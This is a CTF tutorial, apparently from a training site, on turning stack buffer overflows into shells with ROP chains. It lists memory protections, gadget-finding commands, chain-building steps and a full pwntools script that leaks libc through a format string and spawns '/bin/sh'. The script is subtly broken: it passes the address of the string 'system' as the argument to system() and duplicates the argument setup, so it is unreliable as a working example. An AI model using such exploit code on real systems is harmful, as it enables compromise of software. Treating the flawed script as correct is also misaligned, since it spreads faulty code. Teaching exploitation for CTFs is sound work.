Exploit Development: Stack Buffer Overflows and ROP Chains
From Bug to Shell: The Exploit Pipeline
Stack buffer overflows remain a staple in CTF binary challenges. Understanding how to turn a simple overwrite into a reliable shell is essential for any reverse‑engineering specialist.
Memory Protections You Must Know
- ASLR – randomizes base addresses of libraries and the stack.
- DEP/NX – marks memory pages as non‑executable.
- Stack Canaries – detect corrupted return addresses at runtime.
Identifying which protections are present is the first step; many CTF binaries enable ASLR but lack NX or vice‑versa.
Enumerating ROP Gadgets
- Disassemble the binary with
objdump -M intel -d binary > disasm.txt. - Use
ROPgadget --binary binary > gadgets.txtto list potential gadgets. - Filter for useful sequences such as
pop rdi; retorpop rsi; pop r15; retthat can control function arguments.
Building a ROP Chain to Call system("/bin/sh")
- Step 1 – Locate
libcbase (often leaked via a format‑string bug in the challenge). - Step 2 – Compute offsets:
system_offset = libc_base + system_sym,/bin/sh_offset = libc_base + binsh_sym. - Step 3 – Construct the chain:
pop_rdi; ret # load /bin/sh address /bin/sh_addr system_addr - Step 4 – Overwrite the return address on the stack and trigger the return.
Automating Exploit Creation with pwntools
from pwn import *
elf = context.binary = ELF('./vuln_binary')
libc = ELF('/path/to/libc.so.6')
p = process()
# Leak libc address via format string
p.sendline(b'%7$s' + p64(elf.got['printf']))
libc.address = u64(p.recvuntil(b'\x7f')[-6:]) - libc.sym['printf']
log.info(f'Libc base: {hex(libc.address)}')
rop = ROP(libc)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(next(libc.search(b'/bin/sh')))
rop.system(next(libc.search(b'system')))
payload = flat({0x100: rop.chain()})
p.sendline(payload)
p.interactive()
Lab Setup: Dockerized CTF Environment
- Use
docker run -it --rm -v $(pwd):/ctf ctf-baseto launch a pre‑built container withpwntools,gdb, andropgadgetpre‑installed. - Practice on
pwnable.kror the officialctfs.pisa.maahir.iopractice challenges.
Do
- Always check for canaries before constructing a payload; skip them or leak them first.
- Use
checksec(frompwntools) to quickly assess protections. - Document every gadget address and offset for reproducibility.
Don't
- Assume NX is absent without verification—your payload will segfault.
- Hard‑code addresses across runs; they change with ASLR.
- Forget to sanitize input when a flag contains shell metacharacters.
Takeaway
Master the ROP pipeline—gadget enumeration, offset calculation, and pwntools scripting—so you can reliably exploit a stack overflow in any CTF binary you encounter.
